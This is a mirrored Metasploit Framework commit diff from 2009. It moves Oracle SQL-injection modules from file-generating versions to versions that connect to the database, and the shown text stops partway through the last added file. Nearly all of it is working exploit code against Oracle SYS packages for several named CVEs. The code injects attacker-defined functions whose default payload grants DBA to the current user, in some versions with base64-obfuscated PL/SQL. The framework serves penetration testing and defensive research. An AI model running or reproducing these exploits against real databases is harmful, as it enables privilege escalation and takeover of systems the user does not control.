github/metasploit-framework
1
Fork 0
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-12 11:52:01 +01:00
Code Releases Activity

converted the current fileformat modules to use the new mixin. also added a few new ones.

Browse Source 
git-svn-id: file:///home/svn/framework3/trunk@6917 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Mario Ceballos 2009-07-28 13:43:37 +00:00
parent 13e54d2924
commit 6bb37bbca5
15 changed files with 797 additions and 450 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

80
modules/auxiliary/admin/oracle/dbms_cdc_ipublish.rb
View File

@ -1,80 +0,0 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'SQL Injection via SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_CHANGE_SOURCE.',
'Description' => %q{
This module exploits an sql injection flaw in the ALTER_HOTLOG_INTERNAL_CSOURCE
procedure of the PL/SQL package DBMS_CDC_IPUBLISH. Any user with execute
privilege on the vulnerable package can exploit this vulnerability.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2008-3996' ],
[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2008.html' ],
],
'DisclosureDate' => 'Oct 22 2008'))
register_options(
[
OptString.new('SQL', [ false, 'The SQL to execute.', 'GRANT DBA TO SCOTT']),
OptString.new('FILENAME', [ false, 'The file name.', 'msf.sql']),
OptString.new('OUTPUTPATH', [ false, 'The location of the file.', './data/exploits/']),
], self.class)
end
def run
name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
function = %Q|
CREATE OR REPLACE FUNCTION #{name}
RETURN VARCHAR2 AUTHID CURRENT_USER
IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN EXECUTE IMMEDIATE '#{datastore['SQL']}';
COMMIT;
RETURN NULL;
END;
|
package = "BEGIN SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE('''||'||user||'.#{name}||''');END;"
uno = Rex::Text.encode_base64(function)
dos = Rex::Text.encode_base64(package)
sql = %Q|
DECLARE
#{rand1} VARCHAR2(32767);
#{rand2} VARCHAR2(32767);
BEGIN
#{rand1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{uno}')));
EXECUTE IMMEDIATE #{rand1};
#{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{dos}')));
EXECUTE IMMEDIATE #{rand2};
END;
/
DROP FUNCTION #{name};
|
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(sql)
end
end

80
modules/auxiliary/admin/oracle/dbms_cdc_publish.rb
View File

@ -1,80 +0,0 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'SQL Injection via SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE.',
'Description' => %q{
This module exploits an sql injection flaw in the ALTER_AUTOLOG_CHANGE_SOURCE
procedure of the PL/SQL package DBMS_CDC_PUBLISH. Any user with execute
privilege on the vulnerable package can exploit this vulnerability.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2008-3995' ],
[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2008.html' ],
],
'DisclosureDate' => 'Oct 22 2008'))
register_options(
[
OptString.new('SQL', [ false, 'The SQL to execute.', 'GRANT DBA TO SCOTT']),
OptString.new('FILENAME', [ false, 'The file name.', 'msf.sql']),
OptString.new('OUTPUTPATH', [ false, 'The location of the file.', './data/exploits/']),
], self.class)
end
def run
name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
function = %Q|
CREATE OR REPLACE FUNCTION #{name}
RETURN VARCHAR2 AUTHID CURRENT_USER
IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN EXECUTE IMMEDIATE '#{datastore['SQL']}';
COMMIT;
RETURN NULL;
END;
|
package = "BEGIN SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE('''||'||user||'.#{name}||''');END;"
uno = Rex::Text.encode_base64(function)
dos = Rex::Text.encode_base64(package)
sql = %Q|
DECLARE
#{rand1} VARCHAR2(32767);
#{rand2} VARCHAR2(32767);
BEGIN
#{rand1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{uno}')));
EXECUTE IMMEDIATE #{rand1};
#{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{dos}')));
EXECUTE IMMEDIATE #{rand2};
END;
/
DROP FUNCTION #{name};
|
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(sql)
end
end

101
modules/auxiliary/admin/oracle/lt_mergeworkspace.rb
View File

@ -1,101 +0,0 @@
##
# $Id: lt_MERGEWORKSPACE.rb
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'SQL Injection in SYS.LT.MERGEWORKSPACE Procedure.',
'Description' => %q{
This module will escalate a Oracle DB user to DBA by exploiting an sql injection bug in
SYS.LT.MERGEWORKSPACE procedure.
},
'Author' => [ 'Sh2kerr <research[ad]dsecrg.com>' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2008-3983' ],
[ 'URL', 'http://www.appsecinc.com/resources/alerts/oracle/2008-10.shtml' ],
],
'DisclosureDate' => 'Jan 13 2009'))
register_options(
[
OptString.new('SQL', [ false, 'The SQL to execute.', 'GRANT DBA TO SCOTT']),
OptString.new('USER', [ false, 'The current user. ', 'SCOTT']),
OptString.new('FILENAME', [ false, 'The file name.', 'msf.sql']),
OptString.new('OUTPUTPATH', [ false, 'The location of the file.', './data/exploits/']),
], self.class)
end
def run
name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
rand3 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
function = %Q|
CREATE OR REPLACE FUNCTION #{name} return varchar2
authid current_user AS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE '#{datastore['SQL']}';
COMMIT;
RETURN 'X';
END;
|
prepare ="BEGIN SYS.LT.CREATEWORKSPACE('X'' and #{datastore['USER']}.#{name}()=''X');END;"
exploiting ="BEGIN SYS.LT.MERGEWORKSPACE('X'' and #{datastore['USER']}.#{name}()=''X');END;"
fun = Rex::Text.encode_base64(function)
prp = Rex::Text.encode_base64(prepare)
exp = Rex::Text.encode_base64(exploiting)
sql = %Q|
DECLARE
#{rand1} VARCHAR2(32767);
#{rand2} VARCHAR2(32767);
#{rand3} VARCHAR2(32767);
BEGIN
#{rand1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{fun}')));
EXECUTE IMMEDIATE #{rand1};
EXECUTE IMMEDIATE 'GRANT EXECUTE ON #{name} TO PUBLIC';
#{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{prp}')));
EXECUTE IMMEDIATE #{rand2};
#{rand3} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{exp}')));
EXECUTE IMMEDIATE #{rand3};
END;
/
DROP FUNCTION #{name};
|
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(sql)
end
end

101
modules/auxiliary/admin/oracle/lt_removeworkspace.rb
View File

@ -1,101 +0,0 @@
##
# $Id: lt_REMOVEWORKSPACE.rb
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'SQL Injection in SYS.LT.REMOVEWORKSPACE Procedure.',
'Description' => %q{
This module will escalate a Oracle DB user to DBA by exploiting an sql injection bug in
SYS.LT.REMOVEWORKSPACE procedure.
},
'Author' => [ 'Sh2kerr <research[ad]dsecrg.com>' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2008-3984' ],
[ 'URL', 'http://www.appsecinc.com/resources/alerts/oracle/2008-10.shtml' ],
],
'DisclosureDate' => 'Jan 13 2009'))
register_options(
[
OptString.new('SQL', [ false, 'The SQL to execute.', 'GRANT DBA TO SCOTT']),
OptString.new('USER', [ false, 'The current user. ', 'SCOTT']),
OptString.new('FILENAME', [ false, 'The file name.', 'msf.sql']),
OptString.new('OUTPUTPATH', [ false, 'The location of the file.', './data/exploits/']),
], self.class)
end
def run
name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
rand3 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
function = %Q|
CREATE OR REPLACE FUNCTION #{name} return varchar2
authid current_user AS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE '#{datastore['SQL']}';
COMMIT;
RETURN 'X';
END;
|
prepare ="BEGIN SYS.LT.CREATEWORKSPACE('X'' and #{datastore['USER']}.#{name}()=''X');END;"
exploiting ="BEGIN SYS.LT.REMOVEWORKSPACE('X'' and #{datastore['USER']}.#{name}()=''X');END;"
fun = Rex::Text.encode_base64(function)
prp = Rex::Text.encode_base64(prepare)
exp = Rex::Text.encode_base64(exploiting)
sql = %Q|
DECLARE
#{rand1} VARCHAR2(32767);
#{rand2} VARCHAR2(32767);
#{rand3} VARCHAR2(32767);
BEGIN
#{rand1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{fun}')));
EXECUTE IMMEDIATE #{rand1};
EXECUTE IMMEDIATE 'GRANT EXECUTE ON #{name} TO PUBLIC';
#{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{prp}')));
EXECUTE IMMEDIATE #{rand2};
#{rand3} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{exp}')));
EXECUTE IMMEDIATE #{rand3};
END;
/
DROP FUNCTION #{name};
|
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(sql)
end
end

88
modules/auxiliary/admin/oracle/lt_rollbackworkspace.rb
View File

@ -1,88 +0,0 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'SQL Injection in SYS.LT.ROLLBACKWORKSPACE Procedure.',
'Description' => %q{
This module will escalate a Oracle DB user to DBA by exploiting an sql injection bug in
SYS.LT.ROLLBACKWORKSPACE procedure. Tested on Oracle 10g R1.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2009-0978' ],
[ 'URL', 'http://www.appsecinc.com/resources/alerts/oracle/2009-03.shtml' ],
],
'DisclosureDate' => 'May 4 2009'))
register_options(
[
OptString.new('SQL', [ false, 'The SQL to execute.', 'GRANT DBA TO SCOTT']),
OptString.new('USER', [ false, 'The current user. ', 'SCOTT']),
OptString.new('FILENAME', [ false, 'The file name.', 'msf.sql']),
OptString.new('OUTPUTPATH', [ false, 'The location of the file.', './data/exploits/']),
], self.class)
end
def run
name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
rand3 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
ws = Rex::Text.rand_text_alpha_upper(rand(5) + 1)
function = %Q|
CREATE OR REPLACE FUNCTION #{name} return varchar2
authid current_user AS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE '#{datastore['SQL']}';
COMMIT;
RETURN '#{ws}';
END;
|
prepare = "BEGIN SYS.LT.CREATEWORKSPACE('#{ws}'' and #{datastore['USER']}.#{name}()=''#{ws}');END;"
exploiting = "BEGIN SYS.LT.ROLLBACKWORKSPACE('#{ws}'' and #{datastore['USER']}.#{name}()=''#{ws}');END;"
fun = Rex::Text.encode_base64(function)
prp = Rex::Text.encode_base64(prepare)
exp = Rex::Text.encode_base64(exploiting)
sql = %Q|
DECLARE
#{rand1} VARCHAR2(32767);
#{rand2} VARCHAR2(32767);
#{rand3} VARCHAR2(32767);
BEGIN
#{rand1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{fun}')));
EXECUTE IMMEDIATE #{rand1};
EXECUTE IMMEDIATE 'GRANT EXECUTE ON #{name} TO PUBLIC';
#{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{prp}')));
EXECUTE IMMEDIATE #{rand2};
#{rand3} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{exp}')));
EXECUTE IMMEDIATE #{rand3};
END;
/
DROP FUNCTION #{name};
|
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(sql)
end
end

75
modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb Normal file
View File

@ -0,0 +1,75 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::ORACLE
def initialize(info = {})
super(update_info(info,
'Name' => 'SQL Injection via SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE',
'Description' => %q{
The module exploits an sql injection flaw in the ALTER_HOTLOG_INTERNAL_CSOURCE
procedure of the PL/SQL package DBMS_CDC_IPUBLISH. Any user with execute privilege
on the vulnerable package can exploit this vulnerability. By default, users granted
EXECUTE_CATALOG_ROLE have the required privilege. Affected versions: Oracle Database
Server versions 10gR1, 10gR2 and 11gR1. Fixed with October 2008 CPU.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision:$',
'References' =>
[
[ 'CVE', '2008-3996' ],
[ 'URL', 'http://www.appsecinc.com/resources/alerts/oracle/2008-08.shtml'],
],
'DisclosureDate' => 'Oct 22 2008'))
register_options(
[
OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]),
], self.class)
end
def run
name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
function = "
CREATE OR REPLACE FUNCTION #{name}
RETURN VARCHAR2 AUTHID CURRENT_USER
IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE '#{datastore['SQL']}';
COMMIT;
RETURN NULL;
END;"
package = "
BEGIN
SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE('''||'||user||'.#{name}||''');END;"
clean = "DROP FUNCTION #{name}"
begin
print_status("Sending function...")
prepare_exec(function)
rescue => e
return
end
print_status("Attempting sql injection on SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE...")
prepare_exec(package)
print_status("Done! Removing function '#{name}'...")
prepare_exec(clean)
end
end

79
modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb Normal file
View File

@ -0,0 +1,79 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::ORACLE
def initialize(info = {})
super(update_info(info,
'Name' => 'SQL Injection via SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE',
'Description' => %q{
The module exploits an sql injection flaw in the ALTER_AUTOLOG_CHANGE_SOURCE
procedure of the PL/SQL package DBMS_CDC_PUBLISH. Any user with execute privilege
on the vulnerable package can exploit this vulnerability. By default, users granted
EXECUTE_CATALOG_ROLE have the required privilege.
Affected versions: Oracle Database Server versions 10gR1, 10gR2 and 11gR1.
Fixed with October 2008 CPU.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision:$',
'References' =>
[
[ 'CVE', '2008-3995' ],
[ 'URL', 'http://www.appsecinc.com/resources/alerts/oracle/2008-09.shtml' ],
],
'DisclosureDate' => 'Oct 22 2008'))
register_options(
[
OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]),
], self.class)
end
def run
c = connect
name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
function = "
CREATE OR REPLACE FUNCTION #{name}
RETURN VARCHAR2 AUTHID CURRENT_USER
IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE '#{datastore['SQL']}';
COMMIT;
RETURN NULL;
END;"
package = "
BEGIN
SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE('''||'||user||'.#{name}||''');
END;
"
clean = "DROP FUNCTION #{name}"
begin
print_status("Sending function...")
prepare_exec(function)
rescue => e
return
end
print_status("Attempting sql injection on SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE...")
prepare_exec(package)
print_status("Done! Removing function '#{name}'...")
prepare_exec(clean)
c.disconnect
end
end

67
modules/auxiliary/sqli/oracle/dbms_metadata_get_granted_xml.rb Normal file
View File

@ -0,0 +1,67 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::ORACLE
def initialize(info = {})
super(update_info(info,
'Name' => 'SQL Injection via SYS.DBMS_METADATA.GET_GRANTED_XML.',
'Description' => %q{
This module will escalate a Oracle DB user to DBA by exploiting an sql injection
bug in the SYS.DBMS_METADATA.GET_GRANTED_XML package/function.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision:$',
'References' =>
[
[ 'URL', 'http://www.metasploit.com' ],
],
'DisclosureDate' => 'Jan 5 2008'))
register_options(
[
OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA to #{datastore['DBUSER']}"]),
], self.class)
end
def run
name = Rex::Text.rand_text_alpha(rand(10) + 1)
function = "
create or replace function #{datastore['DBUSER']}.#{name} return varchar2
authid current_user is pragma autonomous_transaction;
begin
execute immediate '#{datastore['SQL']}';
return '';
end;
"
package = "select sys.dbms_metadata.get_granted_xml('''||#{datastore['DBUSER']}.#{name}()||''') from dual"
clean = "drop function #{name}"
begin
print_status("Sending function...")
prepare_exec(function)
rescue => e
return
end
print_status("Attempting sql injection on SYS.DBMS_METADATA.GET_GRANTED_XML...")
prepare_exec(package)
print_status("Removing function '#{name}'...")
prepare_exec(clean)
end
end

67
modules/auxiliary/sqli/oracle/dbms_metadata_get_xml.rb Normal file
View File

@ -0,0 +1,67 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::ORACLE
def initialize(info = {})
super(update_info(info,
'Name' => 'SQL Injection via SYS.DBMS_METADATA.GET_XML.',
'Description' => %q{
This module will escalate a Oracle DB user to DBA by exploiting an sql injection
bug in the SYS.DBMS_METADATA.GET_XML package/function.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision:$',
'References' =>
[
[ 'URL', 'http://www.metasploit.com' ],
],
'DisclosureDate' => 'Jan 5 2008'))
register_options(
[
OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA to #{datastore['DBUSER']}"]),
], self.class)
end
def run
name = Rex::Text.rand_text_alpha(rand(10) + 1)
function = "
create or replace function #{datastore['DBUSER']}.#{name} return varchar2
authid current_user is pragma autonomous_transaction;
begin
execute immediate '#{datastore['SQL']}';
return '';
end;
"
package = "select sys.dbms_metadata.get_xml('''||#{datastore['DBUSER']}.#{name}()||''','') from dual"
clean = "drop function #{name}"
begin
print_status("Sending function...")
prepare_exec(function)
rescue => e
return
end
print_status("Attempting sql injection on SYS.DBMS_METADATA.GET_XML...")
prepare_exec(package)
print_status("Removing function '#{name}'...")
prepare_exec(clean)
end
end

67
modules/auxiliary/sqli/oracle/dbms_metadata_open.rb Normal file
View File

@ -0,0 +1,67 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::ORACLE
def initialize(info = {})
super(update_info(info,
'Name' => 'SQL Injection via SYS.DBMS_METADATA.OPEN.',
'Description' => %q{
This module will escalate a Oracle DB user to DBA by exploiting an sql injection
bug in the SYS.DBMS_METADATA.OPEN package/function.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision:$',
'References' =>
[
[ 'URL', 'http://www.metasploit.com' ],
],
'DisclosureDate' => 'Jan 5 2008'))
register_options(
[
OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA to #{datastore['DBUSER']}"]),
], self.class)
end
def run
name = Rex::Text.rand_text_alpha(rand(10) + 1)
function = "
create or replace function #{datastore['DBUSER']}.#{name} return varchar2
authid current_user is pragma autonomous_transaction;
begin
execute immediate '#{datastore['SQL']}';
return '';
end;
"
package = "select sys.dbms_metadata.open('''||#{datastore['DBUSER']}.#{name}()||''') from dual"
clean = "drop function #{name}"
begin
print_status("Sending function...")
prepare_exec(function)
rescue => e
return
end
print_status("Attempting sql injection on SYS.DBMS_METADATA.OPEN...")
prepare_exec(package)
print_status("Removing function '#{name}'...")
prepare_exec(clean)
end
end

73
modules/auxiliary/sqli/oracle/lt_compressworkspace.rb Normal file
View File

@ -0,0 +1,73 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::ORACLE
def initialize(info = {})
super(update_info(info,
'Name' => 'SQL Injection via SYS.LT.COMPRESSWORKSPACE.',
'Description' => %q{
This module exploits an sql injection flaw in the COMPRESSWORKSPACE
procedure of the PL/SQL package SYS.LT. Any user with execute
privilege on the vulnerable package can exploit this vulnerability.
},
'Author' => [ 'CG' ],
'License' => MSF_LICENSE,
'Version' => '$Revision:$',
'References' =>
[
[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2008.html' ],
[ 'URL', 'http://www.appsecinc.com/resources/alerts/oracle/2008-10.shtml' ],
],
'DisclosureDate' => 'Nov 11, 2008'))
register_options(
[
OptString.new('SQL', [ false, 'SQL to execte.', "GRANT DBA to #{datastore['DBUSER']}"]),
], self.class)
end
def run
name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
cruft = Rex::Text.rand_text_alpha_upper(1)
function = "
CREATE OR REPLACE FUNCTION #{cruft}
RETURN VARCHAR2 AUTHID CURRENT_USER
AS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE '#{datastore['SQL']}';
COMMIT;
RETURN '#{cruft}';
END;"
package1 = "BEGIN SYS.LT.CREATEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}'); END;"
package2 = "BEGIN SYS.LT.COMPRESSWORKSPACETREE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}'); END;"
clean = "DROP FUNCTION #{cruft}"
print_status("Attempting sql injection on SYS.LT.COMPRESSWORKSPACE...")
begin
print_status("Sending function...")
prepare_exec(function)
rescue => e
return
end
prepare_exec(package1)
prepare_exec(package2)
print_status("Removing function '#{cruft}'...")
prepare_exec(clean)
end
end

62
modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb Normal file
View File

@ -0,0 +1,62 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::ORACLE
def initialize(info = {})
super(update_info(info,
'Name' => 'SQL Injection via SYS.LT.FINDRICSET Evil Cursor Method',
'Description' => %q{
This module will escalate a Oracle DB user to DBA by exploiting
an sql injection bug in the SYS.LT.FINDRICSET package via Evil
Cursor technique. Tested on oracle 10.1.0.3.0 -- should work on
thru 10.1.0.5.0 and supposedly on 11g. Fixed with Oracle Critical
Patch update October 2007.
},
'Author' => ['CG'],
'License' => MSF_LICENSE,
'Version' => '$Revision:$',
'References' =>
[
[ 'BID', '26098' ],
[ 'CVE', '2007-5511'],
[ 'URL', 'http://rawlab.mindcreations.com/codes/exp/oracle/sys-lt-findricsetV2.sql'],
[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2007.html'],
],
'DisclosureDate' => 'Oct 17 2007'))
register_options(
[
OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA to #{datastore['DBUSER']}"]),
], self.class)
end
def run
p = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
cursor = "
DECLARE
#{p} NUMBER;
BEGIN
#{p} := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(#{p},'declare pragma autonomous_transaction; begin execute immediate ''#{datastore['SQL'].upcase}'';commit;end;',0);
SYS.LT.FINDRICSET('.''||dbms_sql.execute('||#{p}||')||'''')--','');
END;"
begin
print_status("Sending Evil Cursor and SQLI...")
prepare_exec(cursor)
rescue => e
return
end
end
end

104
modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb Normal file
View File

@ -0,0 +1,104 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::ORACLE
def initialize(info = {})
super(update_info(info,
'Name' => 'SQL Injection via SYS.LT.MERGEWORKSPACE.',
'Description' => %q{
This module exploits an sql injection flaw in the MERGEWORKSPACE
procedure of the PL/SQL package SYS.LT. Any user with execute
privilege on the vulnerable package can exploit this vulnerability.
},
'Author' => [ 'CG' ],
'License' => MSF_LICENSE,
'Version' => '$Revision:$',
'References' =>
[
[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2008.html' ],
[ 'URL', 'http://www.appsecinc.com/resources/alerts/oracle/2008-10.shtml' ],
[ 'URL', 'http://www.dsecrg.com/pages/expl/show.php?id=23' ]
],
'DisclosureDate' => 'Oct 22 2008'))
register_options(
[
OptString.new('SQL', [ false, 'SQL to execte.', "GRANT DBA to #{datastore['DBUSER']}"]),
], self.class)
end
def run
name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
rand3 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
cruft = Rex::Text.rand_text_alpha_upper(1)
function = "
CREATE OR REPLACE FUNCTION #{cruft}
RETURN VARCHAR2 AUTHID CURRENT_USER
AS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE '#{datastore['SQL']}';
COMMIT;
RETURN '#{cruft}';
END;"
package1 = %Q|
BEGIN
SYS.LT.CREATEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}');
END;
|
package2 = %Q|
BEGIN
SYS.LT.MERGEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}');
END;
|
uno = Rex::Text.encode_base64(function)
dos = Rex::Text.encode_base64(package1)
tres = Rex::Text.encode_base64(package2)
sql = %Q|
DECLARE
#{rand1} VARCHAR2(32767);
#{rand2} VARCHAR2(32767);
#{rand3} VARCHAR2(32767);
BEGIN
#{rand1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{uno}')));
EXECUTE IMMEDIATE #{rand1};
